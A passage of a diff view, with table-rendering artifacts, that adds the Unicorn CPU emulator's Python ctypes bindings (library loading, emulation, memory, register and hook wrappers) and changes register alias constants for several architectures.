|
||||||
(cb, data) = self._callbacks[user_data]
|
|
||||||
return cb(self, port, size, data)
|
|
||||||
|
|
||||||
|
|
||||||
def _hook_insn_out_cb(self, handle, port, size, value, user_data):
|
|
||||||
# call user's callback with self object
|
|
||||||
(cb, data) = self._callbacks[user_data]
|
|
||||||
cb(self, port, size, value, data)
|
|
||||||
|
|
||||||
|
|
||||||
def _hook_insn_syscall_cb(self, handle, user_data):
|
|
||||||
# call user's callback with self object
|
|
||||||
(cb, data) = self._callbacks[user_data]
|
|
||||||
cb(self, data)
|
|
||||||
|
|
||||||
|
|
||||||
# add a hook
|
|
||||||
def hook_add(self, htype, callback, user_data=None, arg1=1, arg2=0):
|
|
||||||
_h2 = ctypes.c_size_t()
|
|
||||||
|
|
||||||
# save callback & user_data
|
|
||||||
self._callback_count += 1
|
|
||||||
self._callbacks[self._callback_count] = (callback, user_data)
|
|
||||||
|
|
||||||
if htype in (UC_HOOK_BLOCK, UC_HOOK_CODE):
|
|
||||||
begin = ctypes.c_uint64(arg1)
|
|
||||||
end = ctypes.c_uint64(arg2)
|
|
||||||
# set callback with wrapper, so it can be called
|
|
||||||
# with this object as param
|
|
||||||
cb = ctypes.cast(UC_HOOK_CODE_CB(self._hookcode_cb), UC_HOOK_CODE_CB)
|
|
||||||
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, cb, \
|
|
||||||
ctypes.cast(self._callback_count, ctypes.c_void_p), begin, end)
|
|
||||||
elif htype == UC_HOOK_MEM_INVALID:
|
|
||||||
cb = ctypes.cast(UC_HOOK_MEM_INVALID_CB(self._hook_mem_invalid_cb), UC_HOOK_MEM_INVALID_CB)
|
|
||||||
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
|
||||||
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
|
|
||||||
elif htype in (UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE, UC_HOOK_MEM_READ_WRITE):
|
|
||||||
cb = ctypes.cast(UC_HOOK_MEM_ACCESS_CB(self._hook_mem_access_cb), UC_HOOK_MEM_ACCESS_CB)
|
|
||||||
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
|
||||||
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
|
|
||||||
elif htype == UC_HOOK_INSN:
|
|
||||||
insn = ctypes.c_int(arg1)
|
|
||||||
if arg1 == x86_const.UC_X86_INS_IN: # IN instruction
|
|
||||||
cb = ctypes.cast(UC_HOOK_INSN_IN_CB(self._hook_insn_in_cb), UC_HOOK_INSN_IN_CB)
|
|
||||||
if arg1 == x86_const.UC_X86_INS_OUT: # OUT instruction
|
|
||||||
cb = ctypes.cast(UC_HOOK_INSN_OUT_CB(self._hook_insn_out_cb), UC_HOOK_INSN_OUT_CB)
|
|
||||||
if arg1 in (x86_const.UC_X86_INS_SYSCALL, x86_const.UC_X86_INS_SYSENTER): # SYSCALL/SYSENTER instruction
|
|
||||||
cb = ctypes.cast(UC_HOOK_INSN_SYSCALL_CB(self._hook_insn_syscall_cb), UC_HOOK_INSN_SYSCALL_CB)
|
|
||||||
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
|
||||||
cb, ctypes.cast(self._callback_count, ctypes.c_void_p), insn)
|
|
||||||
elif htype == UC_HOOK_INTR:
|
|
||||||
cb = ctypes.cast(UC_HOOK_INTR_CB(self._hook_intr_cb), UC_HOOK_INTR_CB)
|
|
||||||
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
|
||||||
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
|
|
||||||
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
raise UcError(status)
|
|
||||||
|
|
||||||
return _h2.value
|
|
||||||
|
|
||||||
|
|
||||||
# delete a hook
|
|
||||||
def hook_del(self, h):
|
|
||||||
_h = ctypes.c_size_t(h)
|
|
||||||
status = _uc.uc_hook_del(self._uch, ctypes.byref(_h))
|
|
||||||
if status != UC_ERR_OK:
|
|
||||||
raise UcError(status)
|
|
||||||
h = 0
|
|
||||||
|
|
||||||
|
|
||||||
# print out debugging info
|
|
||||||
def debug():
|
|
||||||
archs = { "arm": UC_ARCH_ARM, "arm64": UC_ARCH_ARM64, \
|
|
||||||
"mips": UC_ARCH_MIPS, "sparc": UC_ARCH_SPARC, \
|
|
||||||
"m68k": UC_ARCH_M68K, "x86": UC_ARCH_X86 }
|
|
||||||
|
|
||||||
all_archs = ""
|
|
||||||
keys = archs.keys()
|
|
||||||
keys.sort()
|
|
||||||
for k in keys:
|
|
||||||
if uc_arch_supported(archs[k]):
|
|
||||||
all_archs += "-%s" % k
|
|
||||||
|
|
||||||
(major, minor, _combined) = uc_version()
|
|
||||||
|
|
||||||
return "python-%s-c%u.%u-b%u.%u" % (all_archs, major, minor, UC_API_MAJOR, UC_API_MINOR)
|
|
||||||
|
@ -268,7 +268,7 @@ UC_ARM64_REG_PC = 260
|
|||||||
UC_ARM64_REG_ENDING = 261
|
UC_ARM64_REG_ENDING = 261
|
||||||
|
|
||||||
# alias registers
|
# alias registers
|
||||||
UC_ARM64_REG_IP1 = UC_ARM64_REG_X16
|
UC_ARM64_REG_IP1 = 215
|
||||||
UC_ARM64_REG_IP0 = UC_ARM64_REG_X17
|
UC_ARM64_REG_IP0 = 216
|
||||||
UC_ARM64_REG_FP = UC_ARM64_REG_X29
|
UC_ARM64_REG_FP = 1
|
||||||
UC_ARM64_REG_LR = UC_ARM64_REG_X30
|
UC_ARM64_REG_LR = 2
|
||||||
|
@ -116,10 +116,10 @@ UC_ARM_REG_S31 = 110
|
|||||||
UC_ARM_REG_ENDING = 111
|
UC_ARM_REG_ENDING = 111
|
||||||
|
|
||||||
# alias registers
|
# alias registers
|
||||||
UC_ARM_REG_R13 = UC_ARM_REG_SP
|
UC_ARM_REG_R13 = 12
|
||||||
UC_ARM_REG_R14 = UC_ARM_REG_LR
|
UC_ARM_REG_R14 = 10
|
||||||
UC_ARM_REG_R15 = UC_ARM_REG_PC
|
UC_ARM_REG_R15 = 11
|
||||||
UC_ARM_REG_SB = UC_ARM_REG_R9
|
UC_ARM_REG_SB = 75
|
||||||
UC_ARM_REG_SL = UC_ARM_REG_R10
|
UC_ARM_REG_SL = 76
|
||||||
UC_ARM_REG_FP = UC_ARM_REG_R11
|
UC_ARM_REG_FP = 77
|
||||||
UC_ARM_REG_IP = UC_ARM_REG_R12
|
UC_ARM_REG_IP = 78
|
||||||
|
@ -152,44 +152,44 @@ UC_MIPS_REG_MPL0 = 134
|
|||||||
UC_MIPS_REG_MPL1 = 135
|
UC_MIPS_REG_MPL1 = 135
|
||||||
UC_MIPS_REG_MPL2 = 136
|
UC_MIPS_REG_MPL2 = 136
|
||||||
UC_MIPS_REG_ENDING = 137
|
UC_MIPS_REG_ENDING = 137
|
||||||
UC_MIPS_REG_ZERO = UC_MIPS_REG_0
|
UC_MIPS_REG_ZERO = 2
|
||||||
UC_MIPS_REG_AT = UC_MIPS_REG_1
|
UC_MIPS_REG_AT = 3
|
||||||
UC_MIPS_REG_V0 = UC_MIPS_REG_2
|
UC_MIPS_REG_V0 = 4
|
||||||
UC_MIPS_REG_V1 = UC_MIPS_REG_3
|
UC_MIPS_REG_V1 = 5
|
||||||
UC_MIPS_REG_A0 = UC_MIPS_REG_4
|
UC_MIPS_REG_A0 = 6
|
||||||
UC_MIPS_REG_A1 = UC_MIPS_REG_5
|
UC_MIPS_REG_A1 = 7
|
||||||
UC_MIPS_REG_A2 = UC_MIPS_REG_6
|
UC_MIPS_REG_A2 = 8
|
||||||
UC_MIPS_REG_A3 = UC_MIPS_REG_7
|
UC_MIPS_REG_A3 = 9
|
||||||
UC_MIPS_REG_T0 = UC_MIPS_REG_8
|
UC_MIPS_REG_T0 = 10
|
||||||
UC_MIPS_REG_T1 = UC_MIPS_REG_9
|
UC_MIPS_REG_T1 = 11
|
||||||
UC_MIPS_REG_T2 = UC_MIPS_REG_10
|
UC_MIPS_REG_T2 = 12
|
||||||
UC_MIPS_REG_T3 = UC_MIPS_REG_11
|
UC_MIPS_REG_T3 = 13
|
||||||
UC_MIPS_REG_T4 = UC_MIPS_REG_12
|
UC_MIPS_REG_T4 = 14
|
||||||
UC_MIPS_REG_T5 = UC_MIPS_REG_13
|
UC_MIPS_REG_T5 = 15
|
||||||
UC_MIPS_REG_T6 = UC_MIPS_REG_14
|
UC_MIPS_REG_T6 = 16
|
||||||
UC_MIPS_REG_T7 = UC_MIPS_REG_15
|
UC_MIPS_REG_T7 = 17
|
||||||
UC_MIPS_REG_S0 = UC_MIPS_REG_16
|
UC_MIPS_REG_S0 = 18
|
||||||
UC_MIPS_REG_S1 = UC_MIPS_REG_17
|
UC_MIPS_REG_S1 = 19
|
||||||
UC_MIPS_REG_S2 = UC_MIPS_REG_18
|
UC_MIPS_REG_S2 = 20
|
||||||
UC_MIPS_REG_S3 = UC_MIPS_REG_19
|
UC_MIPS_REG_S3 = 21
|
||||||
UC_MIPS_REG_S4 = UC_MIPS_REG_20
|
UC_MIPS_REG_S4 = 22
|
||||||
UC_MIPS_REG_S5 = UC_MIPS_REG_21
|
UC_MIPS_REG_S5 = 23
|
||||||
UC_MIPS_REG_S6 = UC_MIPS_REG_22
|
UC_MIPS_REG_S6 = 24
|
||||||
UC_MIPS_REG_S7 = UC_MIPS_REG_23
|
UC_MIPS_REG_S7 = 25
|
||||||
UC_MIPS_REG_T8 = UC_MIPS_REG_24
|
UC_MIPS_REG_T8 = 26
|
||||||
UC_MIPS_REG_T9 = UC_MIPS_REG_25
|
UC_MIPS_REG_T9 = 27
|
||||||
UC_MIPS_REG_K0 = UC_MIPS_REG_26
|
UC_MIPS_REG_K0 = 28
|
||||||
UC_MIPS_REG_K1 = UC_MIPS_REG_27
|
UC_MIPS_REG_K1 = 29
|
||||||
UC_MIPS_REG_GP = UC_MIPS_REG_28
|
UC_MIPS_REG_GP = 30
|
||||||
UC_MIPS_REG_SP = UC_MIPS_REG_29
|
UC_MIPS_REG_SP = 31
|
||||||
UC_MIPS_REG_FP = UC_MIPS_REG_30
|
UC_MIPS_REG_FP = 32
|
||||||
UC_MIPS_REG_S8 = UC_MIPS_REG_30
|
UC_MIPS_REG_S8 = 32
|
||||||
UC_MIPS_REG_RA = UC_MIPS_REG_31
|
UC_MIPS_REG_RA = 33
|
||||||
UC_MIPS_REG_HI0 = UC_MIPS_REG_AC0
|
UC_MIPS_REG_HI0 = 45
|
||||||
UC_MIPS_REG_HI1 = UC_MIPS_REG_AC1
|
UC_MIPS_REG_HI1 = 46
|
||||||
UC_MIPS_REG_HI2 = UC_MIPS_REG_AC2
|
UC_MIPS_REG_HI2 = 47
|
||||||
UC_MIPS_REG_HI3 = UC_MIPS_REG_AC3
|
UC_MIPS_REG_HI3 = 48
|
||||||
UC_MIPS_REG_LO0 = UC_MIPS_REG_HI0
|
UC_MIPS_REG_LO0 = 45
|
||||||
UC_MIPS_REG_LO1 = UC_MIPS_REG_HI1
|
UC_MIPS_REG_LO1 = 46
|
||||||
UC_MIPS_REG_LO2 = UC_MIPS_REG_HI2
|
UC_MIPS_REG_LO2 = 47
|
||||||
UC_MIPS_REG_LO3 = UC_MIPS_REG_HI3
|
UC_MIPS_REG_LO3 = 48
|
||||||
|
@ -92,5 +92,5 @@ UC_SPARC_REG_Y = 86
|
|||||||
UC_SPARC_REG_XCC = 87
|
UC_SPARC_REG_XCC = 87
|
||||||
UC_SPARC_REG_PC = 88
|
UC_SPARC_REG_PC = 88
|
||||||
UC_SPARC_REG_ENDING = 89
|
UC_SPARC_REG_ENDING = 89
|
||||||
UC_SPARC_REG_O6 = UC_SPARC_REG_SP
|
UC_SPARC_REG_O6 = 85
|
||||||
UC_SPARC_REG_I6 = UC_SPARC_REG_FP
|
UC_SPARC_REG_I6 = 53
|
||||||
|
321
bindings/python/unicorn/unicorn.py
Normal file
321
bindings/python/unicorn/unicorn.py
Normal file
@ -0,0 +1,321 @@
|
|||||||
|
# Unicorn Python bindings, by Nguyen Anh Quynnh <aquynh@gmail.com>
|
||||||
|
import sys
|
||||||
|
_python2 = sys.version_info[0] < 3
|
||||||
|
if _python2:
|
||||||
|
range = xrange
|
||||||
|
from . import arm_const, arm64_const, mips_const, sparc_const, m68k_const, x86_const
|
||||||
|
from unicorn_const import *
|
||||||
|
|
||||||
|
import ctypes, ctypes.util, sys
|
||||||
|
from os.path import split, join, dirname
|
||||||
|
import distutils.sysconfig
|
||||||
|
|
||||||
|
|
||||||
|
import inspect
|
||||||
|
if not hasattr(sys.modules[__name__], '__file__'):
|
||||||
|
__file__ = inspect.getfile(inspect.currentframe())
|
||||||
|
|
||||||
|
_lib_path = split(__file__)[0]
|
||||||
|
_all_libs = ['unicorn.dll', 'libunicorn.so', 'libunicorn.dylib']
|
||||||
|
_found = False
|
||||||
|
|
||||||
|
for _lib in _all_libs:
|
||||||
|
try:
|
||||||
|
_lib_file = join(_lib_path, _lib)
|
||||||
|
# print "Trying to load:", _lib_file
|
||||||
|
_uc = ctypes.cdll.LoadLibrary(_lib_file)
|
||||||
|
_found = True
|
||||||
|
break
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if _found == False:
|
||||||
|
# try loading from default paths
|
||||||
|
for _lib in _all_libs:
|
||||||
|
try:
|
||||||
|
_uc = ctypes.cdll.LoadLibrary(_lib)
|
||||||
|
_found = True
|
||||||
|
break
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if _found == False:
|
||||||
|
# last try: loading from python lib directory
|
||||||
|
_lib_path = distutils.sysconfig.get_python_lib()
|
||||||
|
for _lib in _all_libs:
|
||||||
|
try:
|
||||||
|
_lib_file = join(_lib_path, 'unicorn', _lib)
|
||||||
|
# print "Trying to load:", _lib_file
|
||||||
|
_uc = ctypes.cdll.LoadLibrary(_lib_file)
|
||||||
|
_found = True
|
||||||
|
break
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
if _found == False:
|
||||||
|
raise ImportError("ERROR: fail to load the dynamic library.")
|
||||||
|
|
||||||
|
|
||||||
|
# setup all the function prototype
|
||||||
|
def _setup_prototype(lib, fname, restype, *argtypes):
|
||||||
|
getattr(lib, fname).restype = restype
|
||||||
|
getattr(lib, fname).argtypes = argtypes
|
||||||
|
|
||||||
|
_setup_prototype(_uc, "uc_version", ctypes.c_int, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int))
|
||||||
|
_setup_prototype(_uc, "uc_arch_supported", ctypes.c_bool, ctypes.c_int)
|
||||||
|
_setup_prototype(_uc, "uc_open", ctypes.c_int, ctypes.c_uint, ctypes.c_uint, ctypes.POINTER(ctypes.c_size_t))
|
||||||
|
_setup_prototype(_uc, "uc_close", ctypes.c_int, ctypes.POINTER(ctypes.c_size_t))
|
||||||
|
_setup_prototype(_uc, "uc_strerror", ctypes.c_char_p, ctypes.c_int)
|
||||||
|
_setup_prototype(_uc, "uc_errno", ctypes.c_int, ctypes.c_size_t)
|
||||||
|
_setup_prototype(_uc, "uc_reg_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p)
|
||||||
|
_setup_prototype(_uc, "uc_reg_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p)
|
||||||
|
_setup_prototype(_uc, "uc_mem_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t)
|
||||||
|
_setup_prototype(_uc, "uc_mem_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t)
|
||||||
|
_setup_prototype(_uc, "uc_emu_start", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_size_t)
|
||||||
|
_setup_prototype(_uc, "uc_emu_stop", ctypes.c_int, ctypes.c_size_t)
|
||||||
|
_setup_prototype(_uc, "uc_hook_del", ctypes.c_int, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t))
|
||||||
|
_setup_prototype(_uc, "uc_mem_map", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_uint32)
|
||||||
|
|
||||||
|
# uc_hook_add is special due to variable number of arguments
|
||||||
|
_uc.uc_hook_add = getattr(_uc, "uc_hook_add")
|
||||||
|
_uc.uc_hook_add.restype = ctypes.c_int
|
||||||
|
|
||||||
|
UC_HOOK_CODE_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_void_p)
|
||||||
|
UC_HOOK_MEM_INVALID_CB = ctypes.CFUNCTYPE(ctypes.c_bool, ctypes.c_size_t, ctypes.c_int, \
|
||||||
|
ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p)
|
||||||
|
UC_HOOK_MEM_ACCESS_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_int, \
|
||||||
|
ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p)
|
||||||
|
UC_HOOK_INTR_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \
|
||||||
|
ctypes.c_void_p)
|
||||||
|
UC_HOOK_INSN_IN_CB = ctypes.CFUNCTYPE(ctypes.c_uint32, ctypes.c_size_t, ctypes.c_uint32, \
|
||||||
|
ctypes.c_int, ctypes.c_void_p)
|
||||||
|
UC_HOOK_INSN_OUT_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \
|
||||||
|
ctypes.c_int, ctypes.c_uint32, ctypes.c_void_p)
|
||||||
|
UC_HOOK_INSN_SYSCALL_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_void_p)
|
||||||
|
|
||||||
|
|
||||||
|
# access to error code via @errno of UcError
|
||||||
|
class UcError(Exception):
|
||||||
|
def __init__(self, errno):
|
||||||
|
self.errno = errno
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
return _uc.uc_strerror(self.errno)
|
||||||
|
|
||||||
|
|
||||||
|
# return the core's version
|
||||||
|
def uc_version():
|
||||||
|
major = ctypes.c_int()
|
||||||
|
minor = ctypes.c_int()
|
||||||
|
combined = _uc.uc_version(ctypes.byref(major), ctypes.byref(minor))
|
||||||
|
return (major.value, minor.value, combined)
|
||||||
|
|
||||||
|
|
||||||
|
# return the binding's version
|
||||||
|
def version_bind():
|
||||||
|
return (UC_API_MAJOR, UC_API_MINOR, (UC_API_MAJOR << 8) + UC_API_MINOR)
|
||||||
|
|
||||||
|
|
||||||
|
# check to see if this engine supports a particular arch
|
||||||
|
def uc_arch_supported(query):
|
||||||
|
return _uc.uc_arch_supported(query)
|
||||||
|
|
||||||
|
|
||||||
|
class Uc(object):
|
||||||
|
def __init__(self, arch, mode):
|
||||||
|
# verify version compatibility with the core before doing anything
|
||||||
|
(major, minor, _combined) = uc_version()
|
||||||
|
if major != UC_API_MAJOR or minor != UC_API_MINOR:
|
||||||
|
self._uch = None
|
||||||
|
# our binding version is different from the core's API version
|
||||||
|
raise UcError(UC_ERR_VERSION)
|
||||||
|
|
||||||
|
self._arch, self._mode = arch, mode
|
||||||
|
self._uch = ctypes.c_size_t()
|
||||||
|
status = _uc.uc_open(arch, mode, ctypes.byref(self._uch))
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
self._uch = None
|
||||||
|
raise UcError(status)
|
||||||
|
# internal mapping table to save callback & userdata
|
||||||
|
self._callbacks = {}
|
||||||
|
self._callback_count = 0
|
||||||
|
|
||||||
|
|
||||||
|
# destructor to be called automatically when object is destroyed.
|
||||||
|
def __del__(self):
|
||||||
|
if self._uch:
|
||||||
|
try:
|
||||||
|
status = _uc.uc_close(ctypes.byref(self._uch))
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
raise UcError(status)
|
||||||
|
except: # _uc might be pulled from under our feet
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
# emulate from @begin, and stop when reaching address @until
|
||||||
|
def emu_start(self, begin, until, timeout=0, count=0):
|
||||||
|
status = _uc.uc_emu_start(self._uch, begin, until, timeout, count)
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
raise UcError(status)
|
||||||
|
|
||||||
|
|
||||||
|
# stop emulation
|
||||||
|
def emu_stop(self):
|
||||||
|
status = _uc.uc_emu_stop(self._uch)
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
raise UcError(status)
|
||||||
|
|
||||||
|
|
||||||
|
# return the value of a register
|
||||||
|
def reg_read(self, reg_id):
|
||||||
|
# read to 64bit number to be safe
|
||||||
|
reg = ctypes.c_int64(0)
|
||||||
|
status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg))
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
raise UcError(status)
|
||||||
|
return reg.value
|
||||||
|
|
||||||
|
|
||||||
|
# write to a register
|
||||||
|
def reg_write(self, reg_id, value):
|
||||||
|
# convert to 64bit number to be safe
|
||||||
|
reg = ctypes.c_int64(value)
|
||||||
|
status = _uc.uc_reg_write(self._uch, reg_id, ctypes.byref(reg))
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
raise UcError(status)
|
||||||
|
|
||||||
|
|
||||||
|
# read data from memory
|
||||||
|
def mem_read(self, address, size):
|
||||||
|
data = ctypes.create_string_buffer(size)
|
||||||
|
status = _uc.uc_mem_read(self._uch, address, data, size)
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
raise UcError(status)
|
||||||
|
return bytearray(data)
|
||||||
|
|
||||||
|
|
||||||
|
# write to memory
|
||||||
|
def mem_write(self, address, data):
|
||||||
|
status = _uc.uc_mem_write(self._uch, address, data, len(data))
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
raise UcError(status)
|
||||||
|
|
||||||
|
|
||||||
|
# map a range of memory
|
||||||
|
def mem_map(self, address, size, perms=UC_PROT_ALL):
|
||||||
|
status = _uc.uc_mem_map(self._uch, address, size, perms)
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
raise UcError(status)
|
||||||
|
|
||||||
|
|
||||||
|
def _hookcode_cb(self, handle, address, size, user_data):
|
||||||
|
# call user's callback with self object
|
||||||
|
(cb, data) = self._callbacks[user_data]
|
||||||
|
cb(self, address, size, data)
|
||||||
|
|
||||||
|
|
||||||
|
def _hook_mem_invalid_cb(self, handle, access, address, size, value, user_data):
|
||||||
|
# call user's callback with self object
|
||||||
|
(cb, data) = self._callbacks[user_data]
|
||||||
|
return cb(self, access, address, size, value, data)
|
||||||
|
|
||||||
|
|
||||||
|
def _hook_mem_access_cb(self, handle, access, address, size, value, user_data):
|
||||||
|
# call user's callback with self object
|
||||||
|
(cb, data) = self._callbacks[user_data]
|
||||||
|
cb(self, access, address, size, value, data)
|
||||||
|
|
||||||
|
|
||||||
|
def _hook_intr_cb(self, handle, intno, user_data):
|
||||||
|
# call user's callback with self object
|
||||||
|
(cb, data) = self._callbacks[user_data]
|
||||||
|
cb(self, intno, data)
|
||||||
|
|
||||||
|
|
||||||
|
def _hook_insn_in_cb(self, handle, port, size, user_data):
|
||||||
|
# call user's callback with self object
|
||||||
|
(cb, data) = self._callbacks[user_data]
|
||||||
|
return cb(self, port, size, data)
|
||||||
|
|
||||||
|
|
||||||
|
def _hook_insn_out_cb(self, handle, port, size, value, user_data):
|
||||||
|
# call user's callback with self object
|
||||||
|
(cb, data) = self._callbacks[user_data]
|
||||||
|
cb(self, port, size, value, data)
|
||||||
|
|
||||||
|
|
||||||
|
def _hook_insn_syscall_cb(self, handle, user_data):
|
||||||
|
# call user's callback with self object
|
||||||
|
(cb, data) = self._callbacks[user_data]
|
||||||
|
cb(self, data)
|
||||||
|
|
||||||
|
|
||||||
|
# add a hook
|
||||||
|
def hook_add(self, htype, callback, user_data=None, arg1=1, arg2=0):
|
||||||
|
_h2 = ctypes.c_size_t()
|
||||||
|
|
||||||
|
# save callback & user_data
|
||||||
|
self._callback_count += 1
|
||||||
|
self._callbacks[self._callback_count] = (callback, user_data)
|
||||||
|
|
||||||
|
if htype in (UC_HOOK_BLOCK, UC_HOOK_CODE):
|
||||||
|
begin = ctypes.c_uint64(arg1)
|
||||||
|
end = ctypes.c_uint64(arg2)
|
||||||
|
# set callback with wrapper, so it can be called
|
||||||
|
# with this object as param
|
||||||
|
cb = ctypes.cast(UC_HOOK_CODE_CB(self._hookcode_cb), UC_HOOK_CODE_CB)
|
||||||
|
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, cb, \
|
||||||
|
ctypes.cast(self._callback_count, ctypes.c_void_p), begin, end)
|
||||||
|
elif htype == UC_HOOK_MEM_INVALID:
|
||||||
|
cb = ctypes.cast(UC_HOOK_MEM_INVALID_CB(self._hook_mem_invalid_cb), UC_HOOK_MEM_INVALID_CB)
|
||||||
|
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
||||||
|
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
|
||||||
|
elif htype in (UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE, UC_HOOK_MEM_READ_WRITE):
|
||||||
|
cb = ctypes.cast(UC_HOOK_MEM_ACCESS_CB(self._hook_mem_access_cb), UC_HOOK_MEM_ACCESS_CB)
|
||||||
|
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
||||||
|
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
|
||||||
|
elif htype == UC_HOOK_INSN:
|
||||||
|
insn = ctypes.c_int(arg1)
|
||||||
|
if arg1 == x86_const.UC_X86_INS_IN: # IN instruction
|
||||||
|
cb = ctypes.cast(UC_HOOK_INSN_IN_CB(self._hook_insn_in_cb), UC_HOOK_INSN_IN_CB)
|
||||||
|
if arg1 == x86_const.UC_X86_INS_OUT: # OUT instruction
|
||||||
|
cb = ctypes.cast(UC_HOOK_INSN_OUT_CB(self._hook_insn_out_cb), UC_HOOK_INSN_OUT_CB)
|
||||||
|
if arg1 in (x86_const.UC_X86_INS_SYSCALL, x86_const.UC_X86_INS_SYSENTER): # SYSCALL/SYSENTER instruction
|
||||||
|
cb = ctypes.cast(UC_HOOK_INSN_SYSCALL_CB(self._hook_insn_syscall_cb), UC_HOOK_INSN_SYSCALL_CB)
|
||||||
|
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
||||||
|
cb, ctypes.cast(self._callback_count, ctypes.c_void_p), insn)
|
||||||
|
elif htype == UC_HOOK_INTR:
|
||||||
|
cb = ctypes.cast(UC_HOOK_INTR_CB(self._hook_intr_cb), UC_HOOK_INTR_CB)
|
||||||
|
status = _uc.uc_hook_add(self._uch, ctypes.byref(_h2), htype, \
|
||||||
|
cb, ctypes.cast(self._callback_count, ctypes.c_void_p))
|
||||||
|
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
raise UcError(status)
|
||||||
|
|
||||||
|
return _h2.value
|
||||||
|
|
||||||
|
|
||||||
|
# delete a hook
|
||||||
|
def hook_del(self, h):
|
||||||
|
_h = ctypes.c_size_t(h)
|
||||||
|
status = _uc.uc_hook_del(self._uch, ctypes.byref(_h))
|
||||||
|
if status != UC_ERR_OK:
|
||||||
|
raise UcError(status)
|
||||||
|
h = 0
|
||||||
|
|
||||||
|
|
||||||
|
# print out debugging info
|
||||||
|
def debug():
|
||||||
|
archs = { "arm": UC_ARCH_ARM, "arm64": UC_ARCH_ARM64, \
|
||||||
|
"mips": UC_ARCH_MIPS, "sparc": UC_ARCH_SPARC, \
|
||||||
|
"m68k": UC_ARCH_M68K, "x86": UC_ARCH_X86 }
|
||||||
|
|
||||||
|
all_archs = ""
|
||||||
|
keys = archs.keys()
|
||||||
|
keys.sort()
|
||||||
|
for k in keys:
|
||||||
|
if uc_arch_supported(archs[k]):
|
||||||
|
all_archs += "-%s" % k
|
||||||
|
|
||||||
|
(major, minor, _combined) = uc_version()
|
||||||
|
|
||||||
|
return "python-%s-c%u.%u-b%u.%u" % (all_archs, major, minor, UC_API_MAJOR, UC_API_MINOR)
|
66
bindings/python/unicorn/unicorn_const.py
Normal file
66
bindings/python/unicorn/unicorn_const.py
Normal file
@ -0,0 +1,66 @@
|
|||||||
|
# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [unicorn_const.py]
|
||||||
|
|
||||||
|
UC_API_MAJOR = 0
|
||||||
|
UC_API_MINOR = 9
|
||||||
|
UC_SECOND_SCALE = 1000000
|
||||||
|
UC_MILISECOND_SCALE = 1000
|
||||||
|
UC_ARCH_ARM = 1
|
||||||
|
UC_ARCH_ARM64 = 2
|
||||||
|
UC_ARCH_MIPS = 3
|
||||||
|
UC_ARCH_X86 = 4
|
||||||
|
UC_ARCH_PPC = 5
|
||||||
|
UC_ARCH_SPARC = 6
|
||||||
|
UC_ARCH_M68K = 7
|
||||||
|
UC_ARCH_MAX = 8
|
||||||
|
|
||||||
|
UC_MODE_LITTLE_ENDIAN = 0
|
||||||
|
|
||||||
|
UC_MODE_ARM = 0
|
||||||
|
UC_MODE_16 = 2
|
||||||
|
UC_MODE_32 = 4
|
||||||
|
UC_MODE_64 = 8
|
||||||
|
UC_MODE_THUMB = 16
|
||||||
|
UC_MODE_MCLASS = 32
|
||||||
|
UC_MODE_V8 = 64
|
||||||
|
UC_MODE_MICRO = 16
|
||||||
|
UC_MODE_MIPS3 = 32
|
||||||
|
UC_MODE_MIPS32R6 = 64
|
||||||
|
UC_MODE_V9 = 16
|
||||||
|
UC_MODE_QPX = 16
|
||||||
|
UC_MODE_BIG_ENDIAN = 1073741824
|
||||||
|
UC_MODE_MIPS32 = 4
|
||||||
